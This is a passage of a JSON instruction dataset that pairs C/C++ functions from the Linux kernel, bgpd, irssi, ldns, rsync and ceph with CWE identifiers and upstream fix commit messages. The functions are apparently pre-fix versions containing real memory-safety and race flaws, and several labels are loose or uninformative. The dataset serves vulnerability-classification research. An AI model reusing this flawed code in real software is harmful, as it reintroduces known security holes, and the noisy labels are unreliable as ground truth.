sleep.\n\n[ ] BUG: scheduling while atomic: ovs-vswitchd/1969/0x00000002\n[ ] INFO: lockdep is turned off.\n[ ] Call Trace:\n[ ] [] dump_stack+0x85/0xc4\n[ ] [] __schedule_bug+0x64/0x73\n[ ] [] __schedule+0x6b/0xd10\n[ ] [] schedule+0x6b/0x80\n[ ] [] schedule_timeout+0x38d/0x410\n[ ] [] synchronize_sched_expedited+0x53d/0x810\n[ ] [] synchronize_rcu_expedited+0xe/0x10\n[ ] [] synchronize_net+0x35/0x50\n[ ] [] dev_remove_pack+0x13/0x20\n[ ] [] fanout_release+0xbe/0xe0\n[ ] [] packet_notifier+0x2f9/0x3f0\n\n4. fanout_release() races with calls from different CPU.\n\nTo fix the above problems, remove the call to fanout_release() under\nrcu_read_lock(). Instead, call __dev_remove_pack(&fanout->prot_hook) and\nnetdev_run_todo will be happy that &dev->ptype_specific list is empty. In order\nto achieve this, I moved dev_{add,remove}_pack() out of fanout_{add,release} to\n__fanout_{link,unlink}. So, call to {,__}unregister_prot_hook() will make sure\nfanout->prot_hook is removed as well.\n\nFixes: 6664498280cf (\"packet: call fanout_release, while UNREGISTERING a netdev\")\nReported-by: Eric Dumazet \nSigned-off-by: Anoob Soman \nAcked-by: Eric Dumazet \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int key_update(key_ref_t key_ref, const void *payload, size_t plen)\n{\n\tstruct key_preparsed_payload prep;\n\tstruct key *key = key_ref_to_ptr(key_ref);\n\tint ret;\n\n\tkey_check(key);\n\n\t/* the key must be writable */\n\tret = key_permission(key_ref, KEY_NEED_WRITE);\n\tif (ret < 0)\n\t\treturn ret;\n\n\t/* attempt to update it if supported */\n\tif (!key->type->update)\n\t\treturn -EOPNOTSUPP;\n\n\tmemset(&prep, 0, sizeof(prep));\n\tprep.data = payload;\n\tprep.datalen = plen;\n\tprep.quotalen = key->type->def_datalen;\n\tprep.expiry = TIME_T_MAX;\n\tif (key->type->preparse) {\n\t\tret = key->type->preparse(&prep);\n\t\tif (ret < 0)\n\t\t\tgoto error;\n\t}\n\n\tdown_write(&key->sem);\n\n\tret = key->type->update(key, &prep);\n\tif (ret == 0)\n\t\t/* updating a negative key instantiates it */\n\t\tclear_bit(KEY_FLAG_NEGATIVE, &key->flags);\n\n\tup_write(&key->sem);\n\nerror:\n\tif (key->type->preparse)\n\t\tkey->type->free_preparse(&prep);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'KEYS: Fix race between updating and finding a negative key\n\nConsolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection\nerror into one field such that:\n\n (1) The instantiation state can be modified/read atomically.\n\n (2) The error can be accessed atomically with the state.\n\n (3) The error isn't stored unioned with the payload pointers.\n\nThis deals with the problem that the state is spread over three different\nobjects (two bits and a separate variable) and reading or updating them\natomically isn't practical, given that not only can uninstantiated keys\nchange into instantiated or rejected keys, but rejected keys can also turn\ninto instantiated keys - and someone accessing the key might not be using\nany locking.\n\nThe main side effect of this problem is that what was held in the payload\nmay change, depending on the state. For instance, you might observe the\nkey to be in the rejected state. You then read the cached error, but if\nthe key semaphore wasn't locked, the key might've become instantiated\nbetween the two reads - and you might now have something in hand that isn't\nactually an error code.\n\nThe state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error\ncode if the key is negatively instantiated. The key_is_instantiated()\nfunction is replaced with key_is_positive() to avoid confusion as negative\nkeys are also 'instantiated'.\n\nAdditionally, barriering is included:\n\n (1) Order payload-set before state-set during instantiation.\n\n (2) Order state-read before payload-read when using the key.\n\nFurther separate barriering is necessary if RCU is being used to access the\npayload content after reading the payload pointers.\n\nFixes: 146aa8b1453b (\"KEYS: Merge the type-specific data with the payload data\")\nCc: stable@vger.kernel.org # v4.4+\nReported-by: Eric Biggers \nSigned-off-by: David Howells \nReviewed-by: Eric Biggers '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int key_reject_and_link(struct key *key,\n\t\t\tunsigned timeout,\n\t\t\tunsigned error,\n\t\t\tstruct key *keyring,\n\t\t\tstruct key *authkey)\n{\n\tstruct assoc_array_edit *edit;\n\tstruct timespec now;\n\tint ret, awaken, link_ret = 0;\n\n\tkey_check(key);\n\tkey_check(keyring);\n\n\tawaken = 0;\n\tret = -EBUSY;\n\n\tif (keyring) {\n\t\tif (keyring->restrict_link)\n\t\t\treturn -EPERM;\n\n\t\tlink_ret = __key_link_begin(keyring, &key->index_key, &edit);\n\t}\n\n\tmutex_lock(&key_construction_mutex);\n\n\t/* can't instantiate twice */\n\tif (!test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) {\n\t\t/* mark the key as being negatively instantiated */\n\t\tatomic_inc(&key->user->nikeys);\n\t\tkey->reject_error = -error;\n\t\tsmp_wmb();\n\t\tset_bit(KEY_FLAG_NEGATIVE, &key->flags);\n\t\tset_bit(KEY_FLAG_INSTANTIATED, &key->flags);\n\t\tnow = current_kernel_time();\n\t\tkey->expiry = now.tv_sec + timeout;\n\t\tkey_schedule_gc(key->expiry + key_gc_delay);\n\n\t\tif (test_and_clear_bit(KEY_FLAG_USER_CONSTRUCT, &key->flags))\n\t\t\tawaken = 1;\n\n\t\tret = 0;\n\n\t\t/* and link it into the destination keyring */\n\t\tif (keyring && link_ret == 0)\n\t\t\t__key_link(key, &edit);\n\n\t\t/* disable the authorisation key */\n\t\tif (authkey)\n\t\t\tkey_revoke(authkey);\n\t}\n\n\tmutex_unlock(&key_construction_mutex);\n\n\tif (keyring && link_ret == 0)\n\t\t__key_link_end(keyring, &key->index_key, edit);\n\n\t/* wake up anyone waiting for a key to be constructed */\n\tif (awaken)\n\t\twake_up_bit(&key->flags, KEY_FLAG_USER_CONSTRUCT);\n\n\treturn ret == 0 ? link_ret : ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'KEYS: Fix race between updating and finding a negative key\n\nConsolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection\nerror into one field such that:\n\n (1) The instantiation state can be modified/read atomically.\n\n (2) The error can be accessed atomically with the state.\n\n (3) The error isn't stored unioned with the payload pointers.\n\nThis deals with the problem that the state is spread over three different\nobjects (two bits and a separate variable) and reading or updating them\natomically isn't practical, given that not only can uninstantiated keys\nchange into instantiated or rejected keys, but rejected keys can also turn\ninto instantiated keys - and someone accessing the key might not be using\nany locking.\n\nThe main side effect of this problem is that what was held in the payload\nmay change, depending on the state. For instance, you might observe the\nkey to be in the rejected state. You then read the cached error, but if\nthe key semaphore wasn't locked, the key might've become instantiated\nbetween the two reads - and you might now have something in hand that isn't\nactually an error code.\n\nThe state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error\ncode if the key is negatively instantiated. The key_is_instantiated()\nfunction is replaced with key_is_positive() to avoid confusion as negative\nkeys are also 'instantiated'.\n\nAdditionally, barriering is included:\n\n (1) Order payload-set before state-set during instantiation.\n\n (2) Order state-read before payload-read when using the key.\n\nFurther separate barriering is necessary if RCU is being used to access the\npayload content after reading the payload pointers.\n\nFixes: 146aa8b1453b (\"KEYS: Merge the type-specific data with the payload data\")\nCc: stable@vger.kernel.org # v4.4+\nReported-by: Eric Biggers \nSigned-off-by: David Howells \nReviewed-by: Eric Biggers '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: aspath_put (struct stream *s, struct aspath *as, int use32bit )\n{\n struct assegment *seg = as->segments;\n size_t bytes = 0;\n \n if (!seg || seg->length == 0)\n return 0;\n \n if (seg)\n {\n /*\n * Hey, what do we do when we have > STREAM_WRITABLE(s) here?\n * At the moment, we would write out a partial aspath, and our peer\n * will complain and drop the session :-/\n *\n * The general assumption here is that many things tested will\n * never happen. And, in real live, up to now, they have not.\n */\n while (seg && (ASSEGMENT_LEN(seg, use32bit) <= STREAM_WRITEABLE(s)))\n {\n struct assegment *next = seg->next;\n int written = 0;\n int asns_packed = 0;\n size_t lenp;\n \n /* Overlength segments have to be split up */\n while ( (seg->length - written) > AS_SEGMENT_MAX)\n {\n assegment_header_put (s, seg->type, AS_SEGMENT_MAX);\n assegment_data_put (s, seg->as, AS_SEGMENT_MAX, use32bit);\n written += AS_SEGMENT_MAX;\n bytes += ASSEGMENT_SIZE (written, use32bit);\n }\n \n /* write the final segment, probably is also the first */\n lenp = assegment_header_put (s, seg->type, seg->length - written);\n assegment_data_put (s, (seg->as + written), seg->length - written, \n use32bit);\n \n /* Sequence-type segments can be 'packed' together\n * Case of a segment which was overlength and split up\n * will be missed here, but that doesn't matter.\n */\n while (next && ASSEGMENTS_PACKABLE (seg, next))\n {\n /* NB: We should never normally get here given we\n * normalise aspath data when parse them. However, better\n * safe than sorry. We potentially could call\n * assegment_normalise here instead, but it's cheaper and\n * easier to do it on the fly here rather than go through\n * the segment list twice every time we write out\n * aspath's.\n */\n \n /* Next segment's data can fit in this one */\n assegment_data_put (s, next->as, next->length, use32bit);\n \n /* update the length of the segment header */\n\t stream_putc_at (s, lenp, seg->length - written + next->length);\n asns_packed += next->length;\n \n\t next = next->next;\n\t }\n \n bytes += ASSEGMENT_SIZE (seg->length - written + asns_packed, \n\t\t\t\t use32bit);\n seg = next;\n }\n }\n return bytes;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'bgpd: Fix AS_PATH size calculation for long paths\n\nIf you have an AS_PATH with more entries than\nwhat can be written into a single AS_SEGMENT_MAX\nit needs to be broken up. The code that noticed\nthat the AS_PATH needs to be broken up was not\ncorrectly calculating the size of the resulting\nmessage. This patch addresses this issue.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int cdc_parse_cdc_header(struct usb_cdc_parsed_header *hdr,\n\t\t\t\tstruct usb_interface *intf,\n\t\t\t\tu8 *buffer,\n\t\t\t\tint buflen)\n{\n\t/* duplicates are ignored */\n\tstruct usb_cdc_union_desc *union_header = NULL;\n\n\t/* duplicates are not tolerated */\n\tstruct usb_cdc_header_desc *header = NULL;\n\tstruct usb_cdc_ether_desc *ether = NULL;\n\tstruct usb_cdc_mdlm_detail_desc *detail = NULL;\n\tstruct usb_cdc_mdlm_desc *desc = NULL;\n\n\tunsigned int elength;\n\tint cnt = 0;\n\n\tmemset(hdr, 0x00, sizeof(struct usb_cdc_parsed_header));\n\thdr->phonet_magic_present = false;\n\twhile (buflen > 0) {\n\t\telength = buffer[0];\n\t\tif (!elength) {\n\t\t\tdev_err(&intf->dev, \"skipping garbage byte\\n\");\n\t\t\telength = 1;\n\t\t\tgoto next_desc;\n\t\t}\n\t\tif (buffer[1] != USB_DT_CS_INTERFACE) {\n\t\t\tdev_err(&intf->dev, \"skipping garbage\\n\");\n\t\t\tgoto next_desc;\n\t\t}\n\n\t\tswitch (buffer[2]) {\n\t\tcase USB_CDC_UNION_TYPE: /* we've found it */\n\t\t\tif (elength < sizeof(struct usb_cdc_union_desc))\n\t\t\t\tgoto next_desc;\n\t\t\tif (union_header) {\n\t\t\t\tdev_err(&intf->dev, \"More than one union descriptor, skipping ...\\n\");\n\t\t\t\tgoto next_desc;\n\t\t\t}\n\t\t\tunion_header = (struct usb_cdc_union_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_COUNTRY_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_country_functional_desc))\n\t\t\t\tgoto next_desc;\n\t\t\thdr->usb_cdc_country_functional_desc =\n\t\t\t\t(struct usb_cdc_country_functional_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_HEADER_TYPE:\n\t\t\tif (elength != sizeof(struct usb_cdc_header_desc))\n\t\t\t\tgoto next_desc;\n\t\t\tif (header)\n\t\t\t\treturn -EINVAL;\n\t\t\theader = (struct usb_cdc_header_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_ACM_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_acm_descriptor))\n\t\t\t\tgoto next_desc;\n\t\t\thdr->usb_cdc_acm_descriptor =\n\t\t\t\t(struct usb_cdc_acm_descriptor *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_ETHERNET_TYPE:\n\t\t\tif (elength != sizeof(struct usb_cdc_ether_desc))\n\t\t\t\tgoto next_desc;\n\t\t\tif (ether)\n\t\t\t\treturn -EINVAL;\n\t\t\tether = (struct usb_cdc_ether_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_CALL_MANAGEMENT_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_call_mgmt_descriptor))\n\t\t\t\tgoto next_desc;\n\t\t\thdr->usb_cdc_call_mgmt_descriptor =\n\t\t\t\t(struct usb_cdc_call_mgmt_descriptor *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_DMM_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_dmm_desc))\n\t\t\t\tgoto next_desc;\n\t\t\thdr->usb_cdc_dmm_desc =\n\t\t\t\t(struct usb_cdc_dmm_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_MDLM_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_mdlm_desc *))\n\t\t\t\tgoto next_desc;\n\t\t\tif (desc)\n\t\t\t\treturn -EINVAL;\n\t\t\tdesc = (struct usb_cdc_mdlm_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_MDLM_DETAIL_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_mdlm_detail_desc *))\n\t\t\t\tgoto next_desc;\n\t\t\tif (detail)\n\t\t\t\treturn -EINVAL;\n\t\t\tdetail = (struct usb_cdc_mdlm_detail_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_NCM_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_ncm_desc))\n\t\t\t\tgoto next_desc;\n\t\t\thdr->usb_cdc_ncm_desc = (struct usb_cdc_ncm_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_MBIM_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_mbim_desc))\n\t\t\t\tgoto next_desc;\n\n\t\t\thdr->usb_cdc_mbim_desc = (struct usb_cdc_mbim_desc *)buffer;\n\t\t\tbreak;\n\t\tcase USB_CDC_MBIM_EXTENDED_TYPE:\n\t\t\tif (elength < sizeof(struct usb_cdc_mbim_extended_desc))\n\t\t\t\tbreak;\n\t\t\thdr->usb_cdc_mbim_extended_desc =\n\t\t\t\t(struct usb_cdc_mbim_extended_desc *)buffer;\n\t\t\tbreak;\n\t\tcase CDC_PHONET_MAGIC_NUMBER:\n\t\t\thdr->phonet_magic_present = true;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/*\n\t\t\t * there are LOTS more CDC descriptors that\n\t\t\t * could legitimately be found here.\n\t\t\t */\n\t\t\tdev_dbg(&intf->dev, \"Ignoring descriptor: type %02x, length %ud\\n\",\n\t\t\t\t\tbuffer[2], elength);\n\t\t\tgoto next_desc;\n\t\t}\n\t\tcnt++;\nnext_desc:\n\t\tbuflen -= elength;\n\t\tbuffer += elength;\n\t}\n\thdr->usb_cdc_union_desc = union_header;\n\thdr->usb_cdc_header_desc = header;\n\thdr->usb_cdc_mdlm_detail_desc = detail;\n\thdr->usb_cdc_mdlm_desc = desc;\n\thdr->usb_cdc_ether_desc = ether;\n\treturn cnt;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'USB: core: harden cdc_parse_cdc_header\n\nAndrey Konovalov reported a possible out-of-bounds problem for the\ncdc_parse_cdc_header function. He writes:\n\tIt looks like cdc_parse_cdc_header() doesn't validate buflen\n\tbefore accessing buffer[1], buffer[2] and so on. The only check\n\tpresent is while (buflen > 0).\n\nSo fix this issue up by properly validating the buffer length matches\nwhat the descriptor says it is.\n\nReported-by: Andrey Konovalov \nTested-by: Andrey Konovalov \nCc: stable \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int uas_switch_interface(struct usb_device *udev,\n\t\t\t\tstruct usb_interface *intf)\n{\n\tint alt;\n\n\talt = uas_find_uas_alt_setting(intf);\n\tif (alt < 0)\n\t\treturn alt;\n\n\treturn usb_set_interface(udev,\n\t\t\tintf->altsetting[0].desc.bInterfaceNumber, alt);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'USB: uas: fix bug in handling of alternate settings\n\nThe uas driver has a subtle bug in the way it handles alternate\nsettings. The uas_find_uas_alt_setting() routine returns an\naltsetting value (the bAlternateSetting number in the descriptor), but\nuas_use_uas_driver() then treats that value as an index to the\nintf->altsetting array, which it isn't.\n\nNormally this doesn't cause any problems because the various\nalternate settings have bAlternateSetting values 0, 1, 2, ..., so the\nvalue is equal to the index in the array. But this is not guaranteed,\nand Andrey Konovalov used the syzkaller fuzzer with KASAN to get a\nslab-out-of-bounds error by violating this assumption.\n\nThis patch fixes the bug by making uas_find_uas_alt_setting() return a\npointer to the altsetting entry rather than either the value or the\nindex. Pointers are less subject to misinterpretation.\n\nSigned-off-by: Alan Stern \nReported-by: Andrey Konovalov \nTested-by: Andrey Konovalov \nCC: Oliver Neukum \nCC: \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *theme_format_compress_colors(THEME_REC *theme, const char *format)\n{\n\tGString *str;\n\tchar *ret;\n\tchar last_fg, last_bg;\n\n\tstr = g_string_new(NULL);\n\n\tlast_fg = last_bg = '\\0';\n\twhile (*format != '\\0') {\n\t\tif (*format == '$') {\n /* $variable, skrip it entirely */\n\t\t\ttheme_format_append_variable(str, &format);\n last_fg = last_bg = '\\0';\n\t\t} else if (*format != '%') {\n\t\t\t/* a normal character */\n\t\t\tg_string_append_c(str, *format);\n\t\t\tformat++;\n\t\t} else {\n\t\t\t/* %format */\n\t\t\tformat++;\n\t\t\tif (IS_OLD_FORMAT(*format, last_fg, last_bg)) {\n\t\t\t\t/* active color set again */\n\t\t\t} else if (IS_FGCOLOR_FORMAT(*format) &&\n\t\t\t\t format[1] == '%' &&\n\t\t\t\t IS_FGCOLOR_FORMAT(format[2]) &&\n\t\t\t\t (*format != 'n' || format[2] == 'n')) {\n\t\t\t\t/* two fg colors in a row. bg colors are\n\t\t\t\t so rare that we don't bother checking\n\t\t\t\t them */\n\t\t\t} else {\n\t\t\t\t/* some format, add it */\n\t\t\t\tg_string_append_c(str, '%');\n\t\t\t\tg_string_append_c(str, *format);\n\n\t\t\t\tif (IS_FGCOLOR_FORMAT(*format))\n\t\t\t\t\tlast_fg = *format;\n\t\t\t\telse if (*format == 'Z' || *format == 'X')\n\t\t\t\t\tlast_fg = '\\0';\n\t\t\t\tif (IS_BGCOLOR_FORMAT(*format))\n\t\t\t\t\tlast_bg = *format;\n\t\t\t\telse if (*format == 'z' || *format == 'x')\n\t\t\t\t\tlast_bg = '\\0';\n\t\t\t}\n\t\t\tformat++;\n\t\t}\n\t}\n\n\tret = str->str;\n g_string_free(str, FALSE);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Merge branch 'security' into 'master'\n\nSecurity\n\nCloses GL#12, GL#13, GL#14, GL#15, GL#16\n\nSee merge request irssi/irssi!23'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ldns_rdf_new_frm_str(ldns_rdf_type type, const char *str)\n{\n\tldns_rdf *rdf = NULL;\n\tldns_status status;\n\n\tswitch (type) {\n\tcase LDNS_RDF_TYPE_DNAME:\n\t\tstatus = ldns_str2rdf_dname(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_INT8:\n\t\tstatus = ldns_str2rdf_int8(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_INT16:\n\t\tstatus = ldns_str2rdf_int16(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_INT32:\n\t\tstatus = ldns_str2rdf_int32(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_A:\n\t\tstatus = ldns_str2rdf_a(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_AAAA:\n\t\tstatus = ldns_str2rdf_aaaa(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_STR:\n\t\tstatus = ldns_str2rdf_str(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_APL:\n\t\tstatus = ldns_str2rdf_apl(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_B64:\n\t\tstatus = ldns_str2rdf_b64(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_B32_EXT:\n\t\tstatus = ldns_str2rdf_b32_ext(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_HEX:\n\t\tstatus = ldns_str2rdf_hex(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_NSEC:\n\t\tstatus = ldns_str2rdf_nsec(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_TYPE:\n\t\tstatus = ldns_str2rdf_type(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_CLASS:\n\t\tstatus = ldns_str2rdf_class(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_CERT_ALG:\n\t\tstatus = ldns_str2rdf_cert_alg(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_ALG:\n\t\tstatus = ldns_str2rdf_alg(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_UNKNOWN:\n\t\tstatus = ldns_str2rdf_unknown(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_TIME:\n\t\tstatus = ldns_str2rdf_time(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_PERIOD:\n\t\tstatus = ldns_str2rdf_period(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_TSIG:\n\t\tstatus = ldns_str2rdf_tsig(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_SERVICE:\n\t\tstatus = ldns_str2rdf_service(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_LOC:\n\t\tstatus = ldns_str2rdf_loc(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_WKS:\n\t\tstatus = ldns_str2rdf_wks(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_NSAP:\n\t\tstatus = ldns_str2rdf_nsap(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_ATMA:\n\t\tstatus = ldns_str2rdf_atma(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_IPSECKEY:\n\t\tstatus = ldns_str2rdf_ipseckey(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_NSEC3_SALT:\n\t\tstatus = ldns_str2rdf_nsec3_salt(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_NSEC3_NEXT_OWNER:\n\t\tstatus = ldns_str2rdf_b32_ext(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_ILNP64:\n\t\tstatus = ldns_str2rdf_ilnp64(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_EUI48:\n\t\tstatus = ldns_str2rdf_eui48(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_EUI64:\n\t\tstatus = ldns_str2rdf_eui64(&rdf, str);\n\t\tbreak;\n\tcase LDNS_RDF_TYPE_NONE:\n\tdefault:\n\t\t/* default default ??? */\n\t\tstatus = LDNS_STATUS_ERR;\n\t\tbreak;\n\t}\n\tif (LDNS_STATUS_OK == status) {\n\t\tldns_rdf_set_type(rdf, type);\n\t\treturn rdf;\n\t}\n\tif (rdf) {\n\t\tLDNS_FREE(rdf);\n\t}\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'CAA and URI'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \tSpawnPreparationInfo prepareSpawn(const Options &options) {\n\t\tTRACE_POINT();\n\t\tSpawnPreparationInfo info;\n\t\tprepareChroot(info, options);\n\t\tinfo.userSwitching = prepareUserSwitching(options);\n\t\tprepareSwitchingWorkingDirectory(info, options);\n\t\tinferApplicationInfo(info);\n\t\treturn info;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-61'], 'message': 'Disable unused feature.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int drbg_kcapi_random(struct crypto_rng *tfm, u8 *rdata,\n\t\t\t unsigned int dlen)\n{\n\tstruct drbg_state *drbg = crypto_rng_ctx(tfm);\n\tif (0 < dlen) {\n\t\treturn drbg_generate_long(drbg, rdata, dlen, NULL);\n\t} else {\n\t\tstruct drbg_gen *data = (struct drbg_gen *)rdata;\n\t\tstruct drbg_string addtl;\n\t\t/* catch NULL pointer */\n\t\tif (!data)\n\t\t\treturn 0;\n\t\tdrbg_set_testdata(drbg, data->test_data);\n\t\t/* linked list variable is now local to allow modification */\n\t\tdrbg_string_fill(&addtl, data->addtl->buf, data->addtl->len);\n\t\treturn drbg_generate_long(drbg, data->outbuf, data->outlen,\n\t\t\t\t\t &addtl);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'crypto: drbg - Convert to new rng interface\n\nThis patch converts the DRBG implementation to the new low-level\nrng interface.\n\nThis allows us to get rid of struct drbg_gen by using the new RNG\nAPI instead.\n\nSigned-off-by: Herbert Xu \nAcked-by: Stephan Mueller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void sum_init(int csum_type, int seed)\n{\n\tchar s[4];\n\n\tif (csum_type < 0)\n\t\tcsum_type = parse_csum_name(NULL, 0);\n\tcursum_type = csum_type;\n\n\tswitch (csum_type) {\n\t case CSUM_MD5:\n\t\tmd5_begin(&md);\n\t\tbreak;\n\t case CSUM_MD4:\n\t\tmdfour_begin(&md);\n\t\tsumresidue = 0;\n\t\tbreak;\n\t case CSUM_MD4_OLD:\n\t case CSUM_MD4_BUSTED:\n\t\tmdfour_begin(&md);\n\t\tsumresidue = 0;\n\t\tSIVAL(s, 0, seed);\n\t\tsum_update(s, 4);\n\t\tbreak;\n\t case CSUM_NONE:\n\t\tbreak;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-354'], 'message': 'Handle archaic checksums properly.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: const std::string& get_tenant() const {\n ceph_assert(t != Wildcard);\n return u.tenant;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'rgw: Remove assertions in IAM Policy\n\nA couple of them could be triggered by user input.\n\nSigned-off-by: Adam C. Emerson '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static const struct usb_cdc_union_desc *\nims_pcu_get_cdc_union_desc(struct usb_interface *intf)\n{\n\tconst void *buf = intf->altsetting->extra;\n\tsize_t buflen = intf->altsetting->extralen;\n\tstruct usb_cdc_union_desc *union_desc;\n\n\tif (!buf) {\n\t\tdev_err(&intf->dev, \"Missing descriptor data\\n\");\n\t\treturn NULL;\n\t}\n\n\tif (!buflen) {\n\t\tdev_err(&intf->dev, \"Zero length descriptor\\n\");\n\t\treturn NULL;\n\t}\n\n\twhile (buflen > 0) {\n\t\tunion_desc = (struct usb_cdc_union_desc 